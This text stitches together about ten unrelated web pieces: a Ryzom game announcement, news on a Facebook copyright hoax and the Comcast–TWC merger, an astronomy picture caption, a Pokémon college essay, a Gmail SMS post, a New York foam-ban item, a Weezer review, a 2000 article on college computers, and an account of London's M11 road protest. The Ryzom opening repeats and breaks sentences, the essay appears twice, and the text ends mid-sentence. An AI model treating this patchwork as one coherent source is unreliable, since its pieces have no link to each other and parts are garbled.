exclusively in English for reasons of simplicity and speed, but please feel free to translate what we say there and post it on Facebook. : You can now read the Official Ryzom Blog. We will communicate there exclusively in English for reasons of simplicity and speed, but please feel free to translate what we say there and post it on Facebook. Twitter: Join us on Twitter. We will "tweet" in English, usually, but you are free to re-tweet in your language if you want. It's also possible to come meet and talk to members of the Ryzom Team: In Paris, France, we will be attending the Paris Game Festival on September 19th and 20th. We won't have an exhibit there but Ryzom CTO Vianney Lecroart (vl), as well as other members of the dev and CSR teams will be roaming around the festival laden with goodies. You can find more information about this event on In Bochum, Germany, on November 14th, one of Ryzom's biggest fans, Acridiel, will be organising an IRL. Leanon's Senior Game Master Boar will attend and bring some goodies with him. You can find more information about this IRL on Wednesday, 16 September is the 5th anniversary of Ryzom. So that we can spend pleasant time together in celebration, we will be running small fun events during the (European) evening. Dear Players,In this last year, we have rolled out four patches. Now we are in September and it's time to get things rolling on the Ryzom front again. One of the areas that we will be working on is something you've all been asking for: Communication!Yes, that's right. We still think actions speak louder than words, but now we're going to give you more words as well. We're going to keep you better informed of our thoughts, plans and actions and to make this possible and as dynamic as possible we have set up accounts on some social networking sites:It's also possible to come meet and talk to members of the Ryzom Team:In, France, we will be attending the. We won't have an exhibit there but Ryzom CTO Vianney Lecroart (vl), as well as other members of the dev and CSR teams will be roaming around the festival laden with goodies. You can find more information about this event on the French forums In, Germany, on, one of Ryzom's biggest fans, Acridiel, will be organising an IRL. Leanon's Senior Game Master Boar will attend and bring some goodies with him. You can find more information about this IRL on the German forums Wednesday, 16 September is the 5th anniversary of Ryzom. So that we can spend pleasant time together in celebration, we will be running small fun events during the (European) evening. -A silly copyright notice is sweeping Facebook today, with users attaching pseudo-legalese to their status updates in a misguided effort to prevent Facebook from owning or commercially exploiting their content. Facebook has issued a formal “fact check” statement refuting the legalese. The viral copyright notice last spread on Facebook in May and June. Now it’s back and garnering lots of attention. The notice incorrectly implies that Facebook has recently changed the copyright provisions of its user agreement. It then unnecessarily asserts a user’s copyright over his Facebook posts (you retain such copyright without posting a notice) and cites the “Berner Convention,” an irrelevant international treaty properly spelled “Berne Convention.” The notice then instructs Facebook to get written permission to make commercial use of the user’s content, which is pointless as Facebook users agree to let the social network make money off their posts when they sign up for the service. (The full text of the bogus copyright notice is below.) Popular hoax-debunking site Snopes addressed this copyright notice in the spring and updated their refutation today. Also, Facebook has taken the further step of putting out a statement of its own: There is a rumor circulating that Facebook is making a change related to ownership of users' information or the content they post to the site. This is false. Anyone who uses Facebook owns and controls the content and information they post, as stated in our terms. They control how that content and information is shared. That is our policy, and it always has been. A blunter way of summarizing the situation is to explain that if you want to use Facebook, you must play by Facebook’s rules, even when they change. If you don’t want to play by Facebook's rules anymore, you must quit Facebook. The idea of remaining on Facebook but playing by your own rules via magic spells is a fantasy. Stay on Facebook or leave Facebook. There is no third option � not even during the holidays. Full hoax copyright notice: -A coalition of lawmakers in the Senate have penned a letter to the Chairman of the Federal Communication Commission and the Attorney General, urging the Obama administration to scuttle a deal that would lead to high market concentration in the telecoms industry. As representatives of Comcast and Time Warner Cable prepared to meet with the Department of Justice on Wednesday to discuss concerns related to the proposed merger between the two companies, liberal senators urged federal regulators to block the deal. “We believe that Comcast-TWC’s unmatched power in the telecommunications industry would lead to higher prices, fewer choices, and poorer quality services for Americans,” they wrote. “We urge you to defend American competition and innovation and…take a stand for US consumers and businesses and reject Comcast’s proposed acquisition of TWC,” the lawmakers added. The letter was signed by Sens. Ed Markey (D-Mass.), Al Franken (D-Minn.), Richard Blumenthal (D-Conn.), Ron Wyden (D-Ore.), Elizabeth Warren (D-Mass.), and Bernie Sanders (I-Vt.). It’s ultimately up to the FCC and the DOJ to sign off on the $45 billion merger. If successful, it would result in a single company controlling 57% of the broadband market and 30% of the cable market. The senators warned that the deal could have an adverse impact on upstart video streaming services, which are increasingly replacing pre-packaged cable offerings—a transition known as “cord cutting.” “With Comcast’s ownership of NBCUniversal and the numerous popular TV networks it controls, the combined company would have incentives and means by which to extract higher prices from other multichannel video programming distributors,” they wrote. Some of their concerns related to paid prioritization were alleviated earlier this year by the FCC, when it approved of stronger “Net Neutrality” rules. However, the senators warned that the merger could lead Comcast to “prioritize its own programming over that of competitors.” Bloomberg reported last week that staff attorneys with the Department of Justice’s Antitrust Division are likely to recommend blocking the merger. Meanwhile, the FCC, according to the Wall Street Journal, could be planning on referring approval of the deal to an administrative judge—a move that, people familiar with the process say, would amount to killing the acquisition. The FCC’s own market data proves right many of the concerns already issued by opponents of the merger. Last December, the commission released a report showing that consumers in competitive media markets paid less, had a smaller rate of increase in their bills, and received more channels in their cable TV packages versus consumers who lived in markets with only one provider. -Astronomy Picture of the Day Discover the cosmos! Each day a different image or photograph of our fascinating universe is featured, along with a brief explanation written by a professional astronomer. 2017 July 25 Int-Ball Drone Activated on the Space Station Image Credit: JAXA, ISS, NASA Explanation: What if you were followed around by a cute floating ball that kept taking your picture? Then you might be an astronaut on today's International Space Station (ISS). Designed by the Japan Aerospace Exploration Agency (JAXA), the JEM Internal Ball Camera -- informally "Int-Ball" -- is a bit larger than a softball, can float and maneuver by itself but also be controlled remotely, can take high resolution images and videos, and is not related to Hello Kitty. Int-Ball was delivered to the ISS in early June and is designed to allow ground-control to increase the monitoring of ISS equipment and activities while decreasing time demands on human astronauts. Int-Ball moves by turning on small internal fans and sees with a camera located between its two dark eyes. -A COLLEGE ESSAY ON POKÉMON (649 words, complerted September quitetheoresama Nov 5th, 2014 792 Never 792Never Not a member of Pastebin yet? Sign Up , it unlocks many cool features! rawdownloadcloneembedreportprint text 3.92 KB Every time I look back on what makes me who I am, the roots of my personality always traced themselves to one video game franchise—Pokémon. The Pokémon franchise, developed by Game Freak, is a series of role-playing games for portable Nintendo consoles, such as the Game Boy and Nintendo DS. Now, my love for this franchise contributed to my desire to major in game design in college. The portable nature of the games in the Pokémon franchise encourages players to communicate with each other in real-life. Pokémon fans learn how Pokémon creatures develop from other like-minded Pokémon trainers by trading and battling with each othe. As a result, players didn’t just catch ‘em all, but learned how to exchange their ideas through their Pokémon creatures! In short, Pokémon games encouraged people to communicate and express their ideas with each other. I fell in love with the aspect of expressing oneself through play. I was just two years old when that game made me who I am. At that age, I owned a Game Boy Color which I brought wherever I went while playing Pokémon. I was using my Game Boy Color all the time, to the point where it would sometimes be confiscated by teachers or parents. If ever I wasn’t eating my food or paying attention to what my parents were saying—swipe!—it would be taken away. But the Pokémon games themselves captured my attention only because I was captivated by how Pokémon worked. More importantly, it made me fall in love with video games, and I wanted to know how I could use that technology to express my ideas. I ended up taking Japanese language classes when I was six just so I could communicate with game developers and learn from them, especially those of Nintendo, whose headquarters were based in Kyoto. Nintendo was responsible for publishing Pokémon, The Pokémon Company making it known the world over. I couldn’t help but feel the need but bring my ideas to their table! As a bonus, I learned how to read, write and converse fluently in Japanese. As I learned about how Pokémon’s art was inspired by Japanese manga comics, I ended up studying manga drawing techniques and how artists crafted their characters. I worked hard to analyze the styles of various artists so I could incorporate them into my own. Lo and behold, did my drawings improve! I then became the budding manga artist in my circle of friends, presenting my drawings to others and expressing my creativity and desire to improve. Manga in itself along with Japanese language classes gave me a high degree of exposure to Japanese culture. I learned about the subtle nuances in their crafts, their attention to detail and how orderly their societies worked. And even then, it gave me a thirst to learn about other cultures, and it encouraged me to understand how people express themselves. That thirst for learning made me absorb ideas like a sponge, making school much more enjoyable as I loved seeing what ideas people had to offer. Be it a discussion, presentation or even as simple as a conversation during lunch, I made sure to let others express themselves. That exchange and expression of ideas seemed like battles between Pokémon trainers, and it only made communicating with each other all the more fun. However, you can’t communicate if you can’t express yourself! What ideas would there be to learn from? Being able to exchange and express your ideas like Pokémon battles makes quite an impact on the world around us. After all, self-expression is what solves problems, what bridges faraway societies together and what enables human beings to break ground and evolve, much like Pokémon. It’s no wonder I’m known for being so talkative—I value self-expression. Pokémon, art, video games, language and communication all share one underlying thread, and that common thread is… …self-expression! By Ryen Raftery, for submission to NYU (this portion not included in the word count of 649) RAW Paste Data Every time I look back on what makes me who I am, the roots of my personality always traced themselves to one video game franchise—Pokémon. The Pokémon franchise, developed by Game Freak, is a series of role-playing games for portable Nintendo consoles, such as the Game Boy and Nintendo DS. Now, my love for this franchise contributed to my desire to major in game design in college. The portable nature of the games in the Pokémon franchise encourages players to communicate with each other in real-life. Pokémon fans learn how Pokémon creatures develop from other like-minded Pokémon trainers by trading and battling with each othe. As a result, players didn’t just catch ‘em all, but learned how to exchange their ideas through their Pokémon creatures! In short, Pokémon games encouraged people to communicate and express their ideas with each other. I fell in love with the aspect of expressing oneself through play. I was just two years old when that game made me who I am. At that age, I owned a Game Boy Color which I brought wherever I went while playing Pokémon. I was using my Game Boy Color all the time, to the point where it would sometimes be confiscated by teachers or parents. If ever I wasn’t eating my food or paying attention to what my parents were saying—swipe!—it would be taken away. But the Pokémon games themselves captured my attention only because I was captivated by how Pokémon worked. More importantly, it made me fall in love with video games, and I wanted to know how I could use that technology to express my ideas. I ended up taking Japanese language classes when I was six just so I could communicate with game developers and learn from them, especially those of Nintendo, whose headquarters were based in Kyoto. Nintendo was responsible for publishing Pokémon, The Pokémon Company making it known the world over. I couldn’t help but feel the need but bring my ideas to their table! As a bonus, I learned how to read, write and converse fluently in Japanese. As I learned about how Pokémon’s art was inspired by Japanese manga comics, I ended up studying manga drawing techniques and how artists crafted their characters. I worked hard to analyze the styles of various artists so I could incorporate them into my own. Lo and behold, did my drawings improve! I then became the budding manga artist in my circle of friends, presenting my drawings to others and expressing my creativity and desire to improve. Manga in itself along with Japanese language classes gave me a high degree of exposure to Japanese culture. I learned about the subtle nuances in their crafts, their attention to detail and how orderly their societies worked. And even then, it gave me a thirst to learn about other cultures, and it encouraged me to understand how people express themselves. That thirst for learning made me absorb ideas like a sponge, making school much more enjoyable as I loved seeing what ideas people had to offer. Be it a discussion, presentation or even as simple as a conversation during lunch, I made sure to let others express themselves. That exchange and expression of ideas seemed like battles between Pokémon trainers, and it only made communicating with each other all the more fun. However, you can’t communicate if you can’t express yourself! What ideas would there be to learn from? Being able to exchange and express your ideas like Pokémon battles makes quite an impact on the world around us. After all, self-expression is what solves problems, what bridges faraway societies together and what enables human beings to break ground and evolve, much like Pokémon. It’s no wonder I’m known for being so talkative—I value self-expression. Pokémon, art, video games, language and communication all share one underlying thread, and that common thread is… …self-expression! By Ryen Raftery, for submission to NYU (this portion not included in the word count of 649) -We don’t see it in our Gmail settings (yet), but Webmonkey reports that Gmail Labs has added a very useful opt-in feature for sending text / SMS messages to mobile phones using the built-in Chat functionality. Update: the Labs team found a glitch and is pushing the release back a bit (‘probably within two weeks’). Update 2: make sure you read the open letter the Webmail team at AOL writes to Google. It’s supposed to be funny, I guess, but it’s really not and quite unprofessional to boot. Turning the option on in your Gmail account settings apparently enables you to send an SMS as soon as you start typing a phone number into Chat’s search box. When you enter new phone numbers, it will save the digits in your contact entries as well. This means that when contacts go offline, the chat window will give you the option to switch to SMS. Our invitation for a live demo was lost in the mail, but Webmonkey has been given a demonstration of the experimental feature by Gmail product manager Keith Coleman and adds: The first time you send a text message, it will appear on the person’s phone as coming from a number in the 406 area code. Google has made several thousands of these numbers available for Gmail users, and once a number is associated with your account, all of the text messages you send through Gmail will come from that number. The 406 number works both ways, so your friend can reply to you via text message. Also, your friend can save that number in their phone as belonging to you, and they can even use it to initiate new chats with you. We haven’t been able to try this out ourselves yet, but Google does list the text messaging feature on its ‘What’s new in Gmail Labs‘ page (only for US phones, for now). This is probably one of the first results we’re seeing from Google’s acquisition of GrandCentral (dating back to June 2007 already). No official word yet on the Gmail blog (the GrandCentral blog has been silent since last April), but we suspect an announcement and general roll-out to follow soon. (Image credit: monkey_bites) -It is the most humble of vessels for New York City foodstuffs, ubiquitous at Chinese takeout joints and halal street carts. In pre-Starbucks days, coffee came packaged in its puffy embrace. But the plastic-foam container may soon be going the way of trans fats, 32-ounce Pepsis, and cigarettes in Central Park. Mayor Michael R. Bloomberg, whose regulatory lance has slain fatty foods, supersize sodas, and smoking in parks, is now targeting plastic foam, the much-derided polymer that environmentalists have long tried to restrict. On Thursday, Mr. Bloomberg, in his 12th and final State of the City address, will propose a citywide ban on plastic-foam food packaging, including takeout boxes, cups and trays. Public schools would be instructed to remove plastic-foam trays from their cafeterias. Many restaurants and bodegas would be forced to restock. -Early interviews mentioning The Blue Album and Pinkerton. Check. A lead single that promised we’d be rocking out like it was '94. Check. It was clear what Weezer were trying to tell us: Honestly, we mean it, for real this time, this one’s going to be the one you’re waiting for. But put aside all of that and Everything Will Be Alright In the End is pretty much what you expect it to be: a record which, while sharing similarities with records from their earlier periods, is another predictably uneven entry in the Weezer discography. It’s not actually anywhere near as much of a return to the sound of the Nineties that they’ve made it out to be. Within bars of the opener ‘Ain’t Got Nobody’, it’s clear that there’s just as much overlap with the crunch and flex of Maladroit as with the chugging fuzz of Blue. It’s a dense sound with glamorous guitar runs and, by blending the strengths of their career high points, they hit on some of the greatest moments of their recent output. The hooks of the opening track are genuinely reminiscent of Rivers’ golden age of song writing: ‘The British Are Coming’ sees a lilting turn of Rivers Cuomo’s falsetto morph into a solo which wanders from the main melody in the soulful, colourful way of Blue’s instrumental breaks. But sadly these moments of inspiration are fleeting. One of the oddest problems with Weezer’s recent output is how blindly contradictory Cuomo can be on record nowadays in comparison to the robust character portraits he painted on his earliest records. Everything… is no different, and finds him sounding as oddly insincere as he has since on every record since 2005. After coming back on hands and knees to the audiences of the mid-nineties, he spends ‘I’ve Had It Up To Here’ rallying against those who want him to compromise some odd notion of integrity (“I’M NOT A HAPPY MEAL”, he proudly announces us in the album’s best wincer of a Cuomoism). How he squares this circle is unclear, but it totally undermines the seriousness of something like ‘Foolish Father’. Does he even mean this? Is he talking about himself? Is it all made up? But beyond the continuation of Cuomo’s increasing incoherence, what’s perhaps most damaging is the general sense of low ambition across the record, despite gimmickry like the album’s title recurring through the lyrics, and suites of songs in trilogies. The chorus of ‘Eulogy For A Rock Band’ is lifted – almost completely intact – from Hurley’s lead single ‘Memories’. The 2D hooks of ‘Lonely Girl’ and ‘Go Away’ circle for a while, wandering out of your head immediately. Sure, it escapes outright disgrace. But that’s a pretty low benchmark for the band that wrote ‘Say It Ain’t So’, on an album based on a publicity cycle promising a return to that era to boot. In spite of its moments of charm, it’s a far cry from being either a fun retreat into 20 years ago, nor is it any indication that Weezer's reputation will be in better health 20 years from now. ![97956](http://dis.resized.images.s3.amazonaws.com/540x310/97956.jpeg) -August 10, 2000 For the New College B.M.O.C., 'M' Is for 'Machine' By LISA GUERNSEY Left, Jim West/Impact Visuals for The New York Times; above, Barbara Martin for The New York Times WIRED - College students like, left, James L. Carey, and Shaun Encinias use computers for things like music, e-mail and homework. How 20th century, college students today might say. The computer, they declare, is the only item that could deserve to be first on any list of dorm necessities. In fact, the computer not only displaces other technology in importance but also replaces the need for some other appliances. It serves as the stereo for students who listen to MP3 files and radio Webcasts. It makes answering machines less necessary because so much communication occurs via e-mail and instant messages. It can even substitute for televisions and alarm clocks. The computer has also become the portal through which students do everything they need to do on campus. Using the Internet, they register for classes, turn in assignments, order books, browse the library catalog, listen to music, talk to friends, read the news, write papers, play games, pay bills, watch movies and carry on heated political discussions. Alumni returning to their alma maters will find that the quads and classrooms still exist, but the computer has become almost more central than the physical campus. "It is an invisible change," said Matthew Pittinsky, co-chairman and founder of Blackboard, a software company that serves more than 3,300 colleges. "But it is probably the most profound change that colleges have seen since the G.I. Bill." The computer's immense impact on the social and academic lives of college students is just beginning to become apparent. Some students say they are carrying on fewer conversations with their dorm mates and more conversations with friends across the country. Many students say that while they still hit the bars and coffee shops, they rarely go to the library. One study shows that students spend less free time watching television, now that they can be entertained online. As students pivot toward online information, "something clearly has to give," said Eric Weil, managing partner in Student Monitor, a market research company that polls college students. In the latest Student Monitor survey, conducted in the spring, 56 percent of the 1,200 respondents at colleges across the country said that they had spent less time watching television in the previous six months. What were they doing instead? About 42 percent said they were spending more time surfing the Web and 49 percent said they were spending more time sending and receiving e-mail. Academics played a role too: 57 percent said they were spending more time doing homework. In many cases, Mr. Weil said, that homework was probably being done on a computer, often online. But some students say that it is not television that they neglect. Instead, they are spending less time on the telephone or talking face-to-face with their peers on campus. It is not that they are being antisocial, the students say. They are simply communicating with people in a different way, using e-mail, online chats and streams of instant messages. Eric Kelson, a junior at Syracuse University, said he frequently chatted online with his parents, his sister, his grandmother in Florida and his friends at other colleges. "It helps because calling is expensive," Mr. Kelson said. "And e-mail is good but it is not as personal." He and his friends often watch television while they chat, he said. And more often than not, he said, he is chatting with people in his dormitory, even though they may be only a few paces away. Instead of picking up the telephone or knocking on his neighbors' doors to see what they are up to, he will send them instant messages. Students who once said, `See you on the quad,' now say, `Meet you online.' Mr. Kelson's case is not unusual, said Bennett Fisher, vice president for community at CollegeClub.com, a social site for students that has attracted nearly three million users. "We used to sit in the hallway and talk to students in the dorm," Mr. Fisher said. "Now they do that on the Web." Even conversations with professors, those moments of stimulating intellectual discussion that some baby boomers may recall with nostalgia, are often supplanted by online communication. "Office hours are being replaced with e-mail discussions," said Gary Gigliotti, director of the Center for Teaching Excellence at Rutgers University. Some regret the loss, but instead of waiting for those few hours a week when professors open their doors, students would rather talk online, Mr. Gigliotti said. "It is more convenient for them," he said. The seeds of this shift were planted in the early 1980's, when technologically adept students started taking computers to campus. But back then, the machines were by no means essential. They were primarily used for typing papers, and most students relied on the word-processing programs in computer laboratories instead of buying their own machines. Computer science and statistics students were often the only ones to use computers for more than writing papers. In the mid-1990's, when the Internet caught on beyond the halls of engineering and computer science departments, that started to change. Large universities began to invest tens of millions of dollars in wiring dormitory rooms in the hope of providing high-speed Internet access to every student. It was the beginning of the race to provide what administrators call "one port per pillow." On average, campuses have wired about 63 percent of their dormitories, according to the Campus Computing Project, an annual survey of more than 500 institutions across the country. Private research universities have gone the furthest: Of those surveyed, all said they offered high-speed access in every dorm. The availability of Internet access has become a deciding factor for students who are trying to decide where to apply to college. Yahoo Internet Life magazineproduces an annual ranking, "The 100 Most Wired Colleges." EduCause, a nonprofit organization that promotes technology in higher education, has created an online guide to help applicants determine which universities measure up to their needs ( www.educause.edu/consumerguide). In a sign of how important Internet access has become, students at Michigan State University, where most dormitories are wired, lined up seven hours in advance last spring to make sure that they were assigned to wired housing. To help those who missed out, the college installed voice mail. Everyone in those dorms uses the telephone lines for dial-up access, said James L. Carey, a sophomore, "and students would be online so much they would never get phone calls." One of the latest challenges facing administrators is whether to require all entering students to bring a computer to college, and if so, whether the computer should be a laptop or desktop. Reports on the Educause Web site show that about 100 universities have such a requirement, which in some cases is imposed only on students in certain programs. Next fall, the number will probably increase; about 11 percent of the institutions surveyed by the Campus Computing Project last fall said they would have a laptop computer requirement in place by 2001. Ohio University is one of the universities that have decided to tackle the issue another way. Every Ohio University undergraduate dorm room is equipped with at least one new $1,000 Gateway computer and printer. The cost of the equipment is covered in an annual student fee. Exactly how much time do students spend on these machines? An increasing amount, according to surveys. In the fall of 1998, according to Student Monitor, students spent an average of 5.6 hours a week online. That rose to 7.2 hours in the fall of 1999 and 8.1 hours this spring. But many students say those numbers are even higher among students with computers in dorms that have high-speed access to the Internet. Shaun Encinias, a student at San Diego State University, said he spent hours online each day, checking e-mail before leaving his room in the morning, between classes, after classes and after dinner. E-mail, though, is not necessarily the most important reason for going online, according to the students polled by Student Monitor. More than 44 percent said that "schoolwork-related research" was their No. 1 priority. Most courses now have an Internet component, professors say, whether it is a Web-based syllabus, an e-mail-based discussion board, an online repository of required reading or an interactive quiz. Some instructors set up online chats with experts and colleagues at other universities across the country. And many students use the Internet and online library resources to do most, if not all, of their research for papers and projects. When they are done, many send their papers via e-mail or click through Web pages during presentations in class. The presence of the computer can sway some students away from academics, however. Mr. Carey, the sophomore at Michigan State, said he had failed all his classes his first semester. "I was shellshocked," he said. "I stayed in my room all the time." He would log on to the Internet as soon as he woke up and hung out with friends he had made online instead of doing homework or talking with friends on campus. This year, he said, he is doing much better and uses his computer mainly for homework. he warned, it can also lead to more isolation. If students choose to interact online with people who are just down the hall, for example, they are missing the chance to see other people's facial expressions, how they look when they are joking and what their body language says about their personalities. Kaycee Swenson, a high school senior in Wichita, Kan., who took several courses at her local college last year, said she talked to people online every day, most of whom were not at her campus. But she said she also hung out with friends in the physical world, listening to music and playing basketball. "You have to balance it," she said. This fall, she will enroll full time at the University of California at San Diego, and she plans to take a new computer with her, even though she already has one equipped with a Pentium II processor. "It's fast," she said, "but not fast enough." In fact, she said, when she talks to her mother about what she took to college decades ago, she cannot believe what students had to put up with. "She thought it was great," Ms. Swenson said, "that she was able to take a calculator to college or a cassette player to tape lectures." And when her mother said she had to stand in line to register for classes and to wait for professors to open their offices, she said she could hardly imagine it. "I laugh at those things," Ms. Swenson said, "but I'm sure it wasn't fun, you know?" These sites are not part of The New York Times on the Web, and The Times has no control over their content or availability. -Route of the M11 link road overlaid over an older map of the area, with key protest sites marked The M11 link road protest was a major anti-road protest in Leytonstone, London, United Kingdom, in the early to mid-1990s opposing the construction of the "A12 Hackney to M11 link road", also known as the M11 Link Road, which was part of a significant local road scheme to connect traffic from the East Cross Route to the M11, avoiding urban streets. The road had been proposed since the 1960s, as part of the London Ringways, and was an important link between central London and the Docklands to East Anglia. However, road protests elsewhere had become increasingly visible, and urban road building had fallen out of favour with the public. A local Member of Parliament Harry Cohen, representing Leyton, had been a vocal opponent of this scheme. The protests reached a new level of visibility during 1993 as part of a grassroots campaign where protesters came from outside the area to support local opposition to the road. The initial focus was on the removal of a tree on George Green, east of Wanstead, that attracted the attention of local, then national media. The activity peaked in 1994 with several high-profile protesters setting up micronations on property scheduled for demolition, most notably on Claremont Road in Leyton. The final stage of the protest was a single building on Fillebrook Road in Leytonstone, which, due to a security blunder, became occupied by squatters. The road was eventually built as planned, and opened to traffic in 1999, but the increased costs involved in management and policing of protesters raised the profile of such campaigns in the United Kingdom, and contributed to several road schemes being cancelled or reviewed later on in the decade. Those involved in the protest moved on to oppose other schemes in the country, while opinions of the road as built have since been mixed. By 2014, the road had become the ninth most congested in the entire country. Background [ edit ] The origin of the link road stems from what were two major arterial roads out of London (the A11 to Newmarket and Norwich, and the A12 to Colchester, Ipswich and Great Yarmouth) and subsequent improvements. The first of these was the Eastern Avenue improvement, that opened on 9 June 1924, which provided a bypass of the old road through Ilford and Romford. Proposals for the route first arose in the 1960s as part of the London Ringways plan, which would have seen four concentric circular motorways built in the city, together with radial routes, with the M11 motorway ending on Ringway 1, the innermost Ringway, at Hackney Marsh. The planned London Ringways. A section of Ringway 1 known as the East Cross Route was built to motorway standards in the late 1960s and early 1970s and designated as the A102(M). A section of the M11 connecting Ringway 2 (now part of the North Circular Road) and Eastern Avenue to Harlow was completed in the late 1970s,[4] opening to traffic in 1977. The Ringways scheme met considerable opposition; there were protests when the Westway, an urban motorway elevated over the streets of Paddington, was opened in 1970, with local MP John Wheeler later describing the road's presence within 15 metres of properties as "completely unacceptable environmentally," and the Archway Road public inquiry was repeatedly abandoned during the 1970s as a result of protests. By 1974, the Greater London Council announced it would not be completing Ringway 1. The first Link Road Action Group to resist the M11 link road was formed in 1976, and for the next fifteen years activists fought government plans through a series of public inquiries. Their alternative was to build a road tunnel, leaving the houses untouched, but this was rejected on grounds of cost. Drivers travelling in the areas where the new roads would have been built had to continue using long stretches of urban single-carriageway roads. In particular, the suburbs of Leyton, Leytonstone and Wanstead suffered serious traffic congestion. The Roads for Prosperity white paper published in 1989 detailed a major expansion of the road building programme and included plans for the M12 Motorway between London and Chelmsford, as well as many other road schemes. Although Harry Cohen, MP for Leyton suggested in May 1989 that the government should scrap the scheme, a public enquiry was held for the scheme in November. The protest campaign in East London [ edit ] The Humble Petition of The Stop the M11 Link Road Action Campaign sheweth: That the A12 Hackney Wick to M11 Link Road will be injurious to the health and well being of the Petitioners insofar as it will cause homelessness through their homes being demolished with in many instances no replacement being offered, it will cause ill health through noise and pollution and will be unfavourable to the community at large. Petition submitted to the House of Commons, June 1990 By the 1980s, planning blight had affected the area and many of the houses had become home to a community of artists and squatters. Eventually, contractors were appointed to carry out the work and a compulsory purchase of property along the proposed route was undertaken. In March 1993, in preparation for the construction of the road, the Earl of Caithness, then the Minister of State for Transport, estimated that there would be 263 properties scheduled for demolition, displacing 550 people, of which he estimated 172 were seeking rehousing. Several original residents, who had in some cases lived in their homes all their lives, refused to sell or move out of their properties. Protesters from the local area against the link road scheme were joined by large numbers of anti-road campaigners from around the UK and beyond, attracted by the availability of free housing along the route. These experienced protesters, who had participated in earlier events such as the Anti-Nazi League riots in Welling, gave impetus to the campaign. The new arrivals used the skills they had developed during prior protests to construct "defences", blocking the original entrances to the houses and creating new routes directly between them. Sophisticated techniques were used to delay the construction of the road. Sit-ins and site invasions were combined with sabotage to stop construction work temporarily. This led to large numbers of police and constant security patrols being employed to protect the construction sites, at great expense. By December 1994, the total cost of construction had been estimated at £6 million and rising by £500,000 every month. The protesters were successful in publicising the campaign, with most UK newspapers and TV news programmes covering the protests on a regular basis. Desktop publishing, then in its infancy, was used to produce publicity materials for the campaign and send out faxes to the media. When the government began evicting residents along the route and demolishing the empty houses, the protesters set up so-called "autonomous republics" such as "Wanstonia" in some groups of the houses. Extreme methods were used to force the engineers to halt demolition, including underground tunnels with protesters secured within by concrete. The chestnut tree on George Green [ edit ] [28] The chestnut tree on George Green, Wanstead became a focal point and a symbol for anti-M11 Link Road protesters. Until late 1993, local opposition to the M11 extension had been relatively limited. While opposition had been going for nearly ten years, institutional avenues of protest had been exhausted, and local residents were largely resigned to the road being built. When outside protesters arrived in September 1993, few residents saw their mission as "their campaign". One section of the M11 extension was due to tunnel under George Green in Wanstead. Residents had believed that this would save their green, and a 250-year-old sweet chestnut tree that grew upon it, but because this was a cut and cover tunnel, this required the tree to be cut down. Support for the protests started to extend to the local community when Jean Gosling, a lollipop lady in Wanstead, upon learning of the tree's impending destruction, rallied the support of local children (and was later fired from her job for doing so while wearing her uniform), who in turn recruited their parents into the protests. It was then that the non-resident radicals realised that they had significant local support. When local residents gathered for a tree dressing ceremony on 6 November, they found their way barred by security fencing. With support from the protesters, they pulled it down. Protesters continued to delay the destruction of the tree. Solicitors for the campaign had even argued in court that receipt of a letter addressed to the tree itself gave it the status of a legal dwelling, causing a further delay. In the early morning of 7 December 1993, several hundred police arrived to evict the protesters,[a] which took ten hours to carry out.[b] Protesters made numerous complaints against the police;[36] police, in turn, denied these allegations, attributing any misbehaviour to the protesters.[c] Media attention started to increase regarding the protest, with several daily newspapers putting pictures of the tree on their front pages. Harry Cohen, MP for Leyton, started to become critical of the scheme and its progress. In March 1994, he said "the Department of Transport's pig-headed approach to the M11 link road has been a shambles, and a costly one at that," and described the ongoing police presence as "a miniature equivalent of the Iraqi occupation of Kuwait." According to him, local resident Hugh Jones had been threatened by demolition men wielding sledgehammers and pickaxes, adding "the project has cost £500,000 in police time alone, to take over and demolish a 250-year-old chestnut tree and half a dozen houses". Claremont Road [ edit ] The view from the tower in Claremont Road, Leyton. By 1994, properties scheduled for demolition had been compulsory purchased, and most were made uninhabitable by removing kitchens, bathrooms and staircases. The notable exception was in one small street, Claremont Road, which ran immediately next to the Central line and consequently required every property on it to be demolished. The street was almost completely occupied by protesters except for one original resident who had not taken up the Department for Transport's offer to move, 92-year-old Dolly Watson, who was born in number 32 and had lived there nearly all her life. She became friends with the anti-road protesters, saying "they're not dirty hippy squatters, they're the grandchildren I never had." The protesters named a watchtower, built from scaffold poles, after her. A vibrant and harmonious community sprung up on the road, which even won the begrudging respect of the authorities. The houses were painted with extravagant designs, both internally and externally, and sculptures erected in the road; the road became an artistic spectacle that one said "had to be seen to be believed". In November 1994, the eviction of Claremont Road took place, bringing an end to the M11 link road resistance as a major physical protest. Bailiffs, accompanied by the police in full riot gear, carried out the eviction over several days, and the Central line, running adjacent to the road, was suspended. As soon as eviction was completed, the remaining properties were demolished. In the end, the cost to the taxpayer was over a million pounds in police costs alone. Quoting David Maclean, "I understand from the Commissioner of Police of the Metropolis that the cost of policing the protest in order to allow bailiffs to take possession of the premises in Claremont road was £1,014,060." Cohen complained in parliament about police brutality, stating "were not many of my constituents bullied—including vulnerable people, and others whose only crime was living on the line of route?" The then Secretary of State for Transport, Brian Mawhinney, pointed out that there had already been three public enquiries at which protesters could have lodged their objections against the line of the route. Towards the end [ edit ] Following the Claremont Road eviction, non-resident protesters moved on to other sites such as Newbury. Meanwhile, Fillebrook Road near Leytonstone Underground station had already had several houses demolished on it due to problems with vandalism. By 1995, the only house left standing was number 135. The house was originally scheduled for demolition at the same time as the others, but had been left standing in order to give the tenant additional time to relocate. After they had done so, on 11 April 1995, the Department for Transport removed the water supply and part of the roof, and left two security guards on duty. When the guards decided to sleep overnight in their cars that evening, leaving the house unoccupied, the protesters moved in. The house was renamed Munstonia (after The Munsters, thanks to its spooky appearance). Like "Wanstonia", they proclaimed themselves a micro-nation and designed their own national anthem and flag, though author Joe Moran mentions their legitimacy was complicated by the protesters continuing to claim unemployment benefits from the "mother country." The eviction on Fillebrook Road, Leytonstone in June 1995 A tower was built out of the remains of the roof, similar to one that had existed at Claremont Road, and a system of defences and blockades were built. A core of around 30 protesters ensured that there were always people staying there (a legal requirement for a squatted home, as well as a defence against eviction). They were finally evicted on 21 June 1995, whereupon, as at Claremont Road, the building was immediately demolished. The total cost of removing the protesters from Munstonia was given to be £239,349.52, not including additional costs of security guards. Construction of the road, already underway by this stage, was then free to continue largely unhindered, although systematic sabotage of building sites by local people continued. It was completed in 1999 and given the designation A12; its continuation, the former A102(M), was also given this number as far as the Blackwall Tunnel. The official opening of the road in October 1999 took place without fanfare, being opened by the Highways Agency Chief Executive rather than a politician, with only journalists with passes being admitted to the ceremony.[50] Consequences of the protest campaign [ edit ] The M11 link road protest was ultimately unsuccessful in its aim to stop the building of the link road. The 